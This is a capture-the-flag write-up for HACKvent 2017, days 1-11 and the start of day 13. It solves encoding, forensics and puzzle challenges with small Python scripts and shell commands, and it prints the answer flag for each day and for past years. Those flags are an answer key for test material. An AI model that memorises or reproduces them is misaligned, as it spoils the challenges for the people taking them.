As every year hacking-lab.com carried out the annual HACKvent challenge. Each day from the 1st of december until the 24th a new challenge is published. The difficulty raises from day to day. After all I managed to solve 20 of 24 tasks:
Easy | |
Day 01: 5th anniversary Day 02: Wishlist Day 03: Strange Logcat Entry |
|
Medium | |
Day 04: HoHoHo Day 05: Only one hint Day 06: Santa’s journey Day 07: i know … Day 08: True 1337s Day 09: JSONion Day 10: Just play the game |
|
Hard | |
Day 11: Crypt-o-Math 2.0 Day 12: giftlogistics Day 13: muffin_asm Day 14: Happy Cryptmas Day 15: Unsafe Gallery Day 16: Try to escape … Day 17: Portable NotExecutable |
|
Final | |
Day 18: I want to play a Game (Reloaded) Day 19: Cryptolocker Ransomware Day 20: linux malware Day 21: tamagotchi Day 22: frozen flag Day 23: only perl can parse Perl Day 24: Chatterbox |
Day 01: 5th anniversary
Author: M. time to have a look back |
|
The provided image already gives us the first two parts of the flag (5YRS-4evr
).
According the image the 3rd part seems to be taken from the flag of the first challenge from HACKvent 2014, the 4th from HACKvent 2015 and the 5th from HACKvent 2016.
Just googling for writeups from the past challenges results in the following pages providing the flags of the past challenges:
HACKvent 2014
https://github.com/shiltemann/CTF-writeups-public/blob/master/Hackvent_2014/dec01.md
Flag: HV24-BAAJ-6ZtK-IJHy-bABB-YoMw
HACKvent 2015
https://mohammadg.com/capture-the-flag/hacking-lab/hackvent-2015/hv15-day-1/
Flag: HV15-Tz9K-4JIJ-EowK-oXP1-NUYL
HACKvent 2016
https://thevamp.cc/wp-content/uploads/downloads/2017/03/HV16-Writeup.pdf
Flag: HV16-t8Kd-38aY-QxL5-bn4K-c6Lw
Thus the final flag is:
HV17-5YRS-4evr-IJHy-oXP1-c6Lw
Day 02: Wishlist
|
Author: avarx The fifth power of two |
Something happened to my wishlist, please help me.
Get the Wishlist |
The challenge provides a text-file (Whistlist.txt
) which contains some base64-encoded data:
user@host:~# tail -c 200 Wishlist.txt aFBWVkpwVWpOUk1WZHNWbUZoTWtaMFUydGtWR0p0T1V4V2JUQjRUa1pT CmMxUllhRmhpYXpWWFdXdGtVMVF4V25SbFNHTkxDbFpxUmxwbFYxWkdaRWRvVGxK RldsaFdSM1J2WkRGa2RGTnUKVWxCV1JUVlhWRlJLVTAxc1ZrZFNibHBSVlZjNE9V Tm5QVDBLCg==
Decoding the provided contents of the file leads to yet another base64-string:
user@host:~# cat Wishlist.txt | base64 -d | tail -c 200 YXpWWUNsbHNhRzlsYkd3MlVteGthazFY ZEROYQpSVnByVmpBd2VXRkhPVVJpUjNRMVdsVmFhMkZ0U2tkVGJtOUxWbTB4TkZS c1RYaFhiazVXWWtkU1QxWnRlSGNLClZqRlplV1ZGZEdoTlJFWlhWR3RvZDFkdFNu UlBWRTVXVFRKU01sVkdSblpRVVc4OUNnPT0K
Repeatedly decoding the output of the last decoding seems to always yield another base64-encoded string.
The challenges description mentions The fifth power of two, which points to the solution that the string must be decoded 2^5 = 32 times.
Thus I wrote following python-script, which takes the original file-content and base64-decodes it 32 times:
#!/usr/bin/python import base64 f = open("Wishlist.txt", "r") content = f.read() for i in range(32): content = base64.b64decode(content) print(content)
Running the script yields the flag:
root@host:~# ./wish.py HV17-Th3F-1fth-Pow3-r0f2-is32
The flag is HV17-Th3F-1fth-Pow3-r0f2-is32
.
Day 03: Strange Logcat Entry
|
Author: pyth0n33 Lost in messages |
I found those strange entries in my Android logcat, but I don’t know what it’s all about… I just want to read my messages!
Get the logcat |
The challenge provides an android logcat-file. The file contains 3315 lines. The challenge description Lost in messages suggests, that we must find the relevant information within a lot of unnecessary stuff.
Another point to notice (I only figured out later) is that the 03.12.2017 has been the 25th anniversay of the short message service (sms).
After scrolling the logfile the following line caught my attention:
11-13 20:40:24.044 137 137 DEBUG: I 07914400000000F001000B913173317331F300003AC7F79B0C52BEC52190F37D07D1C3EB32888E2E838CECF05907425A63B7161D1D9BB7D2F337BB459E8FD12D188CDD6E85CFE931
Because the hidden flag has to be encoded in the log somehow and all other log entries don’t really seem to contain encoded information or any references, this entry seems right.
Scrolling a little but more up there is another entry for the same pid (137
):
11-13 20:40:13.542 137 137 I DEBUG : FAILED TO SEND RAW PDU MESSAGE
Now it seems obvious that the message is an encoded sms (in PDU format).
Copy-pasting the hex-dump to an online-decoder (https://smspdu.benjaminerhart.com/) reveales the following User Data:
Good Job! Now take the Flag: HV17-th1s-isol-dsch-00lm-agic
The flag is HV17-th1s-isol-dsch-00lm-agic
.
Day 04: HoHoHo
|
Author: inik NOTE: New easyfied attachment available |
Santa has hidden something for you here |
The challenge has been updated at 09:45. The PDF-file has been adjusted to make it easier to retrieve the flag. In the following description I used the updated version of the file (Hohoho_medium.pdf
).
There are many ways to hide information within a PDF-file which made this task quite challenging.
After trying a view pdf-utilites (pdfinfo
, pdfimages
, pdftotext
, …) and analysing the embedded images I decided to analyse the file with binwalk
:
root@host:~# binwalk HoHoHo_medium.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PDF document, version: "1.4" 278 0x116 Zlib compressed data, default compression 1687 0x697 Unix path: /Subtype/Image/Type/XObject/Filter/FlateDecode/Width 179/Height 278/BitsPerComponent 8/Length 17539/ColorSpace/DeviceRGB/SMask 1 1831 0x727 Zlib compressed data, default compression 19416 0x4BD8 Unix path: /Subtype/Image/Type/XObject/Filter/FlateDecode/Width 179/Height 278/BitsPerComponent 8/Length 949/ColorSpace/DeviceGray>>stream 19545 0x4C59 Zlib compressed data, default compression 20583 0x5067 Zlib compressed data, default compression 30744 0x7818 Zlib compressed data, default compression 31451 0x7ADB Unix path: /Type/EmbeddedFile/Subtype/text#2Fplain/Length 23780/Params<</Size 97873/CreationDate(D:20171204092920+01'00')/ModDate(D:2017120 31671 0x7BB7 Zlib compressed data, default compression 55554 0xD902 Zlib compressed data, default compression 56801 0xDDE1 Zlib compressed data, default compression
The file contains a few zlib-containers we should to have a closer look at. With the binwalk
option -D
the containers can be extracted:
root@host:~# binwalk -D "zlib" HoHoHo_medium.pdf root@host:~# cd _HoHoHo_medium.pdf.extracted root@host:~/_HoHoHo_medium.pdf.extracted# file * 116: zlib compressed data 4C59: zlib compressed data 5067: zlib compressed data 727: zlib compressed data 7818: zlib compressed data 7BB7: zlib compressed data D902: zlib compressed data DDE1: zlib compressed data
The extracted containers can be decompressed with gzip by prepending the gzip magic number and the compression method:
root@host:~/_HoHoHo_medium.pdf.extracted# printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" | cat - 116 | gzip -dc > 116_unzipped gzip: stdin: invalid compressed data--crc error gzip: stdin: invalid compressed data--length error
Though gzip raises two errors the file has been decompressed. Repeat this for all extracted containers (e.g. with a shell-script). Now we can use file to see what data actually resides within the containers:
root@host:~/_HoHoHo_medium.pdf.extracted# file * 116_unzipped: ASCII text, with very long lines 4C59_unzipped: data 5067_unzipped: TrueType Font data, 12 tables, 1st "cmap", 30 names, Macintosh, Digitized data copyright \251 2007, Google Corporation.Droid Sans RegularRegularFontForge 2.0 : 727_unzipped: data 7818_unzipped: ASCII text 7BB7_unzipped: Spline Font Database version 3.0 D902_unzipped: data DDE1_unzipped: data
file
identified plain ASCII text, data and fonts. After searching a little bit through the data, I stumbled upon the following:
root@host:~/_HoHoHo_medium.pdf.extracted# strings D902_unzipped ... <</Type/Filespec/Desc()/EF<</F 21 0 R >>/UF(DroidSans-HACKvent.sfd)/F(DroidSans-HACKvent.sfd)>><</EmbeddedFiles 24 0 R >><</Names[( d) 22 0 R ]<<
There is a reference to a file named DroidSans-HACKvent.sfd. The name suggests that this is a custom font for the HACKvent challenge. So I decided to focus on the extracted fonts.
Examining the Spline Font Database version 3.0 (7BB7_unzipped) the following lines caught my attention:
root@host:~/_HoHoHo_medium.pdf.extracted# strings 7BB7_unzipped ... StartChar: d Encoding: 27 100 27 ... SplineSet 852 147 m 1,0,-1 844 147 l 1,1,2 822 113 822 113 792.5 82.5 c 128,-1,3 763 52 763 52 724.5 29 c 128,-1,4 686 6 686 6 638 -7 c 128,-1,5 ... StartChar: f Encoding: 28 102 28 ... StartChar: uni0080 Encoding: 45 128 45 ... StartChar: uni0081 Encoding: 46 129 46 ... StartChar: uni009C Encoding: 73 156 73
At the beginning of the file usual ASCII-characters, which are used within the PDF-File, are defined (e.g. ‘d’ and ‘f’). The SplineSet after each character describes the appearance of the character. What seemed strange is that after the usual ASCII-characters a few unicode-characters are described ranging from 0080 up to 009c. The count of these characters (=29) coincidentally match the character count necessary for a valid flag (HV17-xxxx-xxxx-xxxx-xxxx).
After converting the file from SFD to TrueType-Font (ttf) and viewing the font in libre office the assumption that these characters form the flag were confirmed:
The flag is HV17-RP7W-DU6t-Z3qA-jwBz-jItj
.
Day 05: Only one hint
|
Author: HaRdLoCk OK, 2nd hint: Its XOR not MOD |
Here is your flag:
and the one and only hint:
|
The challenge has been updated at 13:00. The hint formerly contained % (Modulo) instead of XOR.
The flag-format (HV17-xxxx-xxxx-xxxx-xxxx-xxxx) consist of 6 x 4-byte blocks (including "HV17"
).
Because the description states Here is your flag followed by 6 x 4-byte hex values, it seems likely that each 4-byte hex value is connected to one block of the flag. Thus the first 4-byte hex value should be connected to "HV17"
.
The big question was how to transform the hex values into the flag and how the hint can help us here.
After the % was changed to an XOR I calculated the result of the hint:
0xFE8F9017 XOR 0x13371337 = 0xEDB88320
Googling for the resulting value 0xEDB88320
revealed that the value is a bit-mask used in the CRC32-algorithm.
This hint was very valuable. The 4-byte hex values seems to be CRC32-checksums of the corresponding part of the flag.
I verified the assumption using the crc32
tool:
root@host:~# cat flag_part0 HV17root@host:~# crc32 flag_part0 69355f71
The calculated checksum for "HV17"
matches the first 4-byte hex value!
While its quite easy to do this for the first part of the flag (which we already know is "HV17"
), the following parts of the flag can be bruteforced.
I wrote the following python-script to iterate over all 4-character combinations of the possible flag-parts, calculate the crc32-checksum and compare this to the given 4-byte hex values:
#!/usr/bin/python import zlib START = 31 END = 127 for a in range(START, END): for b in range(START, END): for c in range(START, END): for d in range(START, END): txt = chr(a) + chr(b) + chr(c) + chr(d) tmp = zlib.crc32(txt) % (1<<32) if (tmp == 0x69355f71): print("hv = " + txt) if (tmp == 0xc2c8c11c): print("f1 = " + txt) if (tmp == 0xdf45873c): print("f2 = " + txt) if (tmp == 0x9d26aaff): print("f3 = " + txt) if (tmp == 0xb1b827f4): print("f4 = " + txt) if (tmp == 0x97d1acf4): print("f5 = " + txt)
Running the script resulted in the following output:
root@kali:~# ./crack.py f1 = 7pKs hv = HV17 f5 = Qlt6 f4 = h4rp f3 = o6wF f2 = whyz
The flag is HV17-7pKs-whyz-o6wF-h4rp-Qlt6
.
Day 06: Santa’s journey
|
Author: avarx Make sure Santa visits every country |
Follow Santa Claus as he makes his journey around the world. Link |
The provided link lead to a website which contains an image showing a QR-code.
I scanned the QR-code online (https://zxing.org/w/decode) which yield the string Uzbekistan
.
After reloading the page, another QR-code was displayed containing the string Zambia
.
The challenge description says Make sure Santa visits every country. Thus I decided to write a python-script which loads the QR-code, collects the country-string, reloads the image, collects the country-string, and so forth:
#!/usr/bin/python import subprocess import time while True: # GET IMAGE FROM WEBSITE ret = subprocess.check_output(["curl", "http://challenges.hackvent.hacking-lab.com:4200/image.png"]) f = open("raw.png", "w") f.write(ret) f.close() # UPLOAD NEW IMAGE AND GET QR-CODE (=KEY) ret = subprocess.check_output(["curl", "https://zxing.org/w/decode", "-F", "f=@raw.png"]) country = ret.split("Parsed Result</td><td><pre>",1)[1] country = country.split("</pre></td></tr></table>",1)[0] print(country) # WAIT ONE SECOND FOR NEXT COUNTRY time.sleep(1)
After the script collected countries for about 1-2 minutes it finally collected the flag:
user@host:~$ ./qr.py Wallis and Futuna Islands Vatican Bahamas New Caledonia Macedonia Gibraltar Mongolia Botswana Faroe Islands Argentina Nicaragua Montserrat Bouvet Island Mauritania Luxembourg Antigua and Barbuda Madagascar Wallis and Futuna Islands ... HV17-eCFw-J4xX-buy3-8pzG-kd3M
The flag is HV17-eCFw-J4xX-buy3-8pzG-kd3M
.
Day 07: i know …
|
Author: HaRdLoCk … what you did last xmas |
We were able to steal a file from santas computer. We are sure, he prepared a gift and there are traces for it in this file.
Please help us to recover it: Download |
The challenge provided a file called SANTA.FILE
. I started by analysing it with the file tool:
user@host:~# file SANTA.FILE SANTA.FILE: Zip archive data, at least v1.0 to extract
So we have got a zip-archive here. Let’s extract it:
user@host:~# unzip SANTA.FILE Archive: SANTA.FILE inflating: SANTA.IMA
The archive contains a file called SANTA.IMA
. Yet again use file:
user@host:~# file SANTA.IMA SANTA.IMA: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "WINIMAGE", sectors/cluster 4, root entries 16, sectors 3360 (volumes <=32 MB), sectors/FAT 3, sectors/track 21, serial number 0x2b523d5, label: " ", FAT (12 bit), followed by FAT
This file seems to be a DOS-partition. My first lucky guess was to use strings and grep for a flag:
user@host:~# strings SANTA.IMA | grep HV17 Y*C:\Hackvent\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe
Woohoo! We already got the flag.
The flag is HV17-UCyz-0yEU-d90O-vSqS-Sd64
.
Further thoughts:
The file SANTA.IMA
is a mountable DOS-partition which can be mounted with the mount tool:
user@host:~# mkdir /tmp/santa user@host:~# mount SANTA.IMA /tmp/santa/
Let’s have a look at the content of the mounted partition:
user@host:~# cd /tmp/santa user@host:~# ls -al total 774 drwxr-xr-x 2 root root 512 Jan 1 1970 . drwxrwxrwt 19 root root 4096 Dec 13 15:44 .. -rwxr-xr-x 1 root root 786432 Nov 14 09:16 SANTA.PRIV
There is a file called SANTA.PRIV
. File again:
user@host:~# file SANTA.PRIV SANTA.PRIV: MS Windows registry file, NT/2000 or above
So this seems to be a windows registry file. The strings way works again:
user@host:~# strings SANTA.PRIV | grep HV17 Y*C:\Hackvent\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe
I further tried to analyze the file with regripper
which generated a report-file also containing the flag:
user@host:~# cat report.txt | grep -C3 HV17 Tue Nov 14 07:09:10 2017 Z Microsoft.Windows.Explorer (6) Tue Nov 14 07:09:03 2017 Z C:\Hackvent\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe (1) Tue Nov 14 07:08:49 2017 Z Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge (1) Tue Nov 14 07:08:45 2017 Z
Day 08: True 1337s
|
Author: pyth0n33 … can read this instantly |
I found this obfuscated code on a public FTP-Server. But I don’t understand what it’s doing…
Download |
The challenge provides a file called True.1337
, which is an ASCII-file containing two different parts.
The first part “True”:
exec(chr(True+True+True+True+True+True+True+True+True+True)+chr(True+True+True+True+True+ ...))
The second part “1337”:
__1337(_1337(1337+1337+1337+1337+1337+1337+1337+1337+1337+1337)+_1337(1337+1337+1337+ ...))
This seems to be python-code. The first part calls the exec
function, which executes the given string. In this case the string passed to exec
is concatenated by subsequent calls to the chr
function, which returns a single character for the given ascii-value. The value passed to chr
is composed of a lot of Trues
, which are added together. Interpreted as a number True
equals 1
. Thus the value passed to chr
matches the count of Trues
given to chr
. The second part also makes some nested calls, but we don’t know yet how the functions __1337
and _1337
are defined.
Let’s begin with the first part. It’s constructed like this:
exec(STRING) STRING = chr(ASCII_1) + chr(ASCII_2) + chr(ASCII_3) + ... ASCII_1 = True + True + True ... = 1 + 1 + 1 + ... = 10 = 0x0A (ASCII '\n') ASCII_2 = True + True + True ... = 1 + 1 + 1 + ... = 61 = 0x41 (ASCII 'A')
A tiny python-script can print what the first part does:
#!/usr/bin/python # OPEN CHALLENGE FILE f = open("True.1337", "r") content = f.read() # EXTRACT TRUE-PART truePart = content[5:content.find("True))")+5] exec("trueOutput="+truePart) # TRUE-PART EVALUATES TO THE FOLLOWING OUTPUT print(trueOutput)
The script outputs the string, which is passed to exec in the challenge-file:
A=chr;__1337=exec;SANTA=input;FUN=print def _1337(B):return A(B//1337)
At this stage we know how the functions of the second part are defined. __1337
is just a synonym for exec
and _1337
takes one argument, divides it by A=chr;
).
We extend the python-script to define the functions as declared in the first part and output the second part:
... #DEFINE FUNCTION _1337 (2ND LINE FROM OUTPUT OF FIRST PART) def __1337(B): return chr(B//1337) # EXTRACT 1337-PART part1337 = content[content.find("__1337(")+7:-1] exec("output1337="+part1337) # REPLACE FUNCTION-NAMES (1ST LINE FROM OUTPUT OF FIRST PART) finalProg = output1337.replace("SANTA", "input").replace("FUN", "print") print(finalProg)
This outputs the second part:
C=input("?") if C=="1787569":print(''.join(chr(ord(a) ^ ord(b)) for a,b in zip("... <binary data> ...", "31415926535897932384626433832")))
The program prompts the user to enter an input, stored in the variable C
. The flag seems the be encoded using XOR
and will be printed if we input "1787569"
for C
. Thus we now can run the final program with the following extension to our script:
... exec(finalProg)
And just enter "1787569"
:
?"1787569" HV17-th1s-ju5t-l1k3-j5sf-uck!
Notice the embracing "
around the number! The comparison in the final program is a string-comparison. If we just enter 1787569
the input function interprets our input as an integer and the comparison fails.
The flag is HV17-th1s-ju5t-l1k3-j5sf-uck!
.
Day 09: JSONion
|
Author: inik |
… is not really an onion. Peel it and find the flag. Download |
The challenge provides a zip-archive which contains a quite big JSON-file (~1.5M):
user@host:~# cat jsonion.json | cut -b 1-300 [{"op":"map","mapTo":"[{\"op:gzi,cnteH4sIADSTXjNal\\\/8d9wCByr30Qh+FYPxvqVUOWR7f56Zb21kuJGKmLEM=}]","content":"\/8ge+gugqP5+glgze:K2:KgugFis\"MMMMMMMMMonzJU2ps\\{S6NvsmOk]ZIn}h}oM\"p\"L\"RYXqFqB5ZCWM4]C4+fOvFXDXW{Y==jSsqhJThsX0VW[W6N6NhWbb[W6N6N3W6NUFiP6N6NxJhTbS:a{iW6Nn2m3D3XvKfz=JT3}UXb{xSbG4Vib5V
At first sight the defined JSON-object consists of an array which contains a dict. Let’s parse the JSON-file with python and have a closer look at it:
#!/usr/bin/python import json f = open("jsonion.json", "r") js = f.read() f.close() data = json.loads(js) print("len = " + str(len(data))) print("keys = " + str(data[0].keys()))
Running the script:
user@host:~# ./parseJSON.py len = 1 keys = [u'content', u'mapFrom', u'mapTo', u'op']
So the array holds one dict with the keys op
, content
, mapFrom
and mapTo
.
As we have already seen at first glance the value of op
is map
. mapFrom
and mapTo
contain different strings which seem to be a concatenation of unassociated characters. content
holds a very large string.
According to the challenge description we have to peel the not-so-real onion in order to get the flag. Because of the names of the entries in the dict it seems likely that op
defines an operation we have to run on the value of content
.
The operation map
and the two keys mapFrom
and mapTo
suggest that every character in the string defined by content
has to be looked up in mapFrom
and than be changed with to corresponding character in mapTo
based on its index in mapFrom
.
The following python-script creates a dict which maps every character from mapFrom
to the character with the same index in mapTo
, applies this replacement on content
and writes the result in a new file:
myMap = {} for i in range(len(data[0]["mapFrom"])): myMap[data[0]["mapFrom"][i]] = data[0]["mapTo"][i] f = open("jsonion1.json", "w") f.write("".join(myMap.get(ch, ch) for ch in data[0]["content"])) f.close()
After running the script the newly created file contains …
user@host:~# cat jsonion1.json | cut -b 1-100 [{"op":"gzip","content":"H4sIAAAAAAAAADScTXejsNal\/8sd9wCBySr3rDAIjI0IQh+gHgFiBYPAxCYxpv98H+q+PahVVU
… yet another JSON-object!
Now the operation is called gzip
and the only other key is our already known content
.
After defining a python function to execute the gzip
operation yet another JSON-object can be revealed which contains an operation called b64
.
At this stage I decided to create a loop to:
(1) grab the operation (op
)
(2) grab additional values if existing (e.g. with map
: mapFrom
, mapTo
)
(3) execute the corresponding python-function to reveal the next JSON-object
(4) take the JSON-object and go back to (1)
If the operation was not yet known the python-script stopped, I added the new operation and rerun the script.
Doing this revealed the following operations:
op | keys | what needs to be done |
map | content, mapFrom, mapTo | lookup index of every character from content in mapFrom and replace this character in content with the character with the same index in mapTo |
gzip | content | decompress the content using gzip |
b64 | content | decode the content using base64 |
nul | content | just interpretate content as a new JSON-object |
xor | content, mask | xor every character in content with mask |
rev | content | read content in reverse |
flag | content | content (may) contain the flag! |
Running the adapted pyton-script resulted in the following output:
user@host:~# ./parseJSON # op ------------- 0 map 1 gzip 2 b64 3 gzip 4 map 5 map 6 nul ... 77 xor 78 b64 79 b64 80 b64 81 flag THIS-ISNO-THEF-LAGR-EALL-Y...
Ouh? The onion has been peeled completely just to get "THIS-ISNO-THEF-LAGR-EALL-Y..."
?
Seems that the real flag has to be somewhere else. My first assumption was that there might be an additional key in one of the JSON-objects. So I added an output for all keys:
user@host:~# ./parseJSON # op keys ---------------------------------------- 0 map content,mapFrom,mapTo,op 1 gzip content,op 2 b64 content,op 3 gzip content,op 4 map content,mapFrom,mapTo,op 5 map content,mapFrom,mapTo,op 6 nul content,op ... 77 xor content,mask,op 78 b64 content,op 79 b64 content,op 80 b64 content,op 81 flag content,op THIS-ISNO-THEF-LAGR-EALL-Y...
Hm, nothing suspicious here. After thinking it all over for a while I thought that there might be an additional JSON-object within the outer array. Formerly I accessed the JSON-object only with data[0]
, but what if there’s a data[1]
? Let’s add yet another output for the length of the array:
user@host:~# ./parseJSON # op len ------------------- 0 map 1 1 gzip 1 ... 70 b64 1 71 nul 1 72 map 1 73 xor 2 74 b64 1 75 rev 1 76 nul 1 77 xor 1 78 b64 1 79 b64 1 80 b64 1 81 flag 1 THIS-ISNO-THEF-LAGR-EALL-Y...
There it is! There is another JSON-object within the 73th outer array. That’s what must to be meant with the hint … is not really an onion. Having a first look at this object revealed that this is another JSON-object in the format we already know. Thus I just added a condition and an index to choose the right direction:
jsonIdx = 0 ... if(len(data) > 1): jsonIdx = 1 ... # access JSON-object with data[jsonIdx]
Rerunning the script:
user@host:~# ./parseJSON # op len ------------------- 0 map 1 1 gzip 1 2 b64 1 ... 72 map 1 73 xor 2 74 xor 1 75 rev 1 76 nul 1 77 xor 1 78 rev 1 79 rev 1 80 b64 1 81 rev 1 82 b64 1 83 b64 1 84 nul 1 85 rev 1 86 rev 1 87 b64 1 88 map 1 89 b64 1 90 xor 1 91 b64 1 92 b64 1 93 flag 1 HV17-Ip11-9CaB-JvCf-d5Nq-ffyi
Done! Really great challenge!
The flag is HV17-Ip11-9CaB-JvCf-d5Nq-ffyi
.
The final-python script I used (the original JSON-file has been renamed from jsonion.json
to jsonion0.json
):
#!/usr/bin/python import json import sys import base64 import gzip import binascii idx = 0 print("#\top\tlen\tkeys") print("--------------------------------------") while True: jsonIdx = 0 # READ JSON FILE f = open("jsonion"+str(idx)+".json", "r") j = f.read() f.close() data = json.loads(j) # ++++++++++++ OPERATIONS ++++++++++++ print(str(idx) + "\t" + data[jsonIdx]["op"]+"\t"+ str(len(data[jsonIdx]["content"])) + "\t" + ",".join(data[jsonIdx])) idx += 1 if(len(data) > 1): jsonIdx = 1 # MAP if (data[jsonIdx]["op"] == u"map"): myMap = {} for i in range(len(data[jsonIdx]["mapFrom"])): myMap[data[jsonIdx]["mapFrom"][i]] = data[jsonIdx]["mapTo"][i] f = open("jsonion"+str(idx)+".json", "w") f.write("".join(myMap.get(ch, ch) for ch in data[jsonIdx]["content"])) f.close() # GZIP elif (data[jsonIdx]["op"] == u"gzip"): fgzip = open("json_tmp.gzip", "w") fgzip.write(base64.b64decode(data[jsonIdx]["content"])) fgzip.close() fgzip = gzip.open("json_tmp.gzip", "rb") f = open("jsonion"+str(idx)+".json", "w") f.write(fgzip.read()) f.close() fgzip.close() # BASE64 elif (data[jsonIdx]["op"] == u"b64"): f = open("jsonion"+str(idx)+".json", "w") f.write(base64.b64decode(data[jsonIdx]["content"])) f.close() # NUL elif (data[jsonIdx]["op"] == u"nul"): f = open("jsonion"+str(idx)+".json", "w") f.write(data[jsonIdx]["content"]) f.close() # XOR elif (data[jsonIdx]["op"] == u"xor"): mask = ord(base64.b64decode(data[jsonIdx]["mask"])) contentBinary = base64.b64decode(data[jsonIdx]["content"]) newContent = [0] * len(contentBinary) for i in range(len(newContent)): newContent[i] = chr(ord(contentBinary[i]) ^ mask) f = open("jsonion"+str(idx)+".json", "w") f.write("".join(newContent)) f.close() # REV elif (data[jsonIdx]["op"] == u"rev"): f = open("jsonion"+str(idx)+".json", "w") f.write(data[jsonIdx]["content"][::-1]) f.close() # FLAG elif (data[jsonIdx]["op"] == u"flag"): print(data[jsonIdx]["content"]) quit() # UNKNOWN OP else: print("unknown op:" + data[jsonIdx]["op"]) quit()
Day 10: Just play the game
|
Author: pyth0n33 Haven’t you ever been bored at school? |
Santa is in trouble. He’s elves are busy playing TicTacToe. Beat them and help Sata to save christmas!
nc challenges.hackvent.hacking-lab.com 1037 |
Let’s give it a try:
user@host:~# nc challenges.hackvent.hacking-lab.com 1037 ---_ ......._-_--. (|\ / / /| \ \ / / .' -=-' `. / / .' ) _/ / .' _.) / / o o _.-' / .' \ _.-' / .'*| \______.-'// .'.' \*| \| \ | // .'.' _ |*| ` \|// .'.'_ _ _|*| . .// .'.' | _ _ \*| \`-|\_/ / \ _ _ \*\ `/'\__/ \ _ _ \*\ /^| \ _ _ \* ' ` \ _ _ \ \_ Challenge by pyth0n33. Have fun! I think you know the game from school...Don't you? Press enter to start the game <ENTER> ------------- | * | * | * | ------------- ------------- | * | * | * | ------------- ------------- | * | * | * | ------------- Make your move. Type the number of the field you want to set! (1-9) Field: 2 ------------- | * | X | * | ------------- ------------- | * | O | * | ------------- ------------- | * | * | * | ------------- Make your move. Type the number of the field you want to set! (1-9) Field: 3 ------------- | O | X | X | ------------- ------------- | * | O | * | ------------- ------------- | * | * | * | ------------- Make your move. Type the number of the field you want to set! (1-9) Field: 9 ------------- | O | X | X | ------------- ------------- | * | O | O | ------------- ------------- | * | * | X | ------------- Make your move. Type the number of the field you want to set! (1-9) Field: 4 ------------- | O | X | X | ------------- ------------- | X | O | O | ------------- ------------- | O | * | X | ------------- Make your move. Type the number of the field you want to set! (1-9) Field: 8 ------------- | O | X | X | ------------- ------------- | X | O | O | ------------- ------------- | O | X | X | ------------- There is no winner... Press enter to start again
Ok, seems like we just have to win again the AI.
After a few tries I entered 7, 3, 9, …
Make your move. Type the number of the field you want to set! (1-9) Field: 9 ------------- | O | * | X | ------------- ------------- | * | O | * | ------------- ------------- | X | O | X | ------------- Make your move. Type the number of the field you want to set! (1-9) Field:
Looks good!
6 ------------- | O | O | X | ------------- ------------- | * | O | X | ------------- ------------- | X | O | X | ------------- Congratulations you won! 1/100 Press enter to start again
1 of 100!? Ok, we need some automation here:
#!/usr/bin/python import socket from time import sleep inp_array = ["\n", "7\n", "3\n", "9\n", "6\n"] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("challenges.hackvent.hacking-lab.com", 1037)) ret = s.recv(2048) idx = 0 while True: sleep(0.2) s.send(inp_array[idx%5]) ret = s.recv(1024) print(ret) if ("100/100" in ret): quit() idx += 1
After running the script and waiting for the 100th game to be won:
user@host:~# ./ticTacToe.py ... ------------- | O | O | X | ------------- ------------- | * | O | X | ------------- ------------- | X | O | X | ------------- Congratulations you won! 100/100 HV17-y0ue-kn0w-7h4t-g4me-sure Press enter to start again
Done 🙂
The flag is HV17-y0ue-kn0w-7h4t-g4me-sure
.
Day 11: Crypt-o-Math 2.0
|
Author: HaRdLoCk |
So you bruteforced last years math lessions? This time you cant escape!
find “a” to get your flag. |
At 11:55 the numbers for the challenge have been changed, due to cheating activities.
As stated in the challenge description we have to find a number a to satisfy the equation. Because of the quite big numbers bruteforcing doesn’t seem to be an option.
After trying out different calculations I ended up googling for solutions to solve these kind of equations.
This way I stumbled upon a modular equation solver ( https://www.dcode.fr/modular-equation-solver ).
The solver needs three input values:
1) the equation to solve
2) the modulo
3) the variable to solve
At first I converted the provided values to decimal …
user@host:~# python ... >>> 0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783 590867720467499739656230398758801227927329092826661098133553607261505411L >>> 0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB 1023659786424349813810435942750567812478342322946284370914320216115614427L >>> 0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873 1419762318326277663933821153866524377417016166171412157761654041111779443L
and then entered:
1)
a * b = c
a * 1419762318326277663933821153866524377417016166171412157761654041111779443 = 590867720467499739656230398758801227927329092826661098133553607261505411
2)
p
1023659786424349813810435942750567812478342322946284370914320216115614427
3)
a
After just a few seconds the result is displayed:
a = 499249475383354981071223629166886691785708084325259209724836611856232704
Converting the result back to hex gives us the following:
... >>> hex(499249475383354981071223629166886691785708084325259209724836611856232704) '0x485631372d7a51427a2d417744672d3146454c2d725545392d474b677100L'
Looks like the flag. Let’s convert it to ASCII:
... >>> import sys >>> flag = hex(499249475383354981071223629166886691785708084325259209724836611856232704) >>> for i in range(2, len(flag)-1, 2): ... sys.stdout.write(chr(int(flag[i:i+2], 16))) ... HV17-zQBz-AwDg-1FEL-rUE9-GKgq
Well, quite a lazy but quick way.
The flag is HV17-zQBz-AwDg-1FEL-rUE9-GKgq
.
Day 13: muffin_asm
|
Author: muffinX As M. said, kind of a different architecture! |
ohai \o/
How about some custom asm to obsfucate the codez? Download |
The provided python-script defines different assembler-instructions (_add
, _addv
, _sub
, _subv
, …) and a quite long machine-code which is executed in a while-loop.
Assembler-instructions:
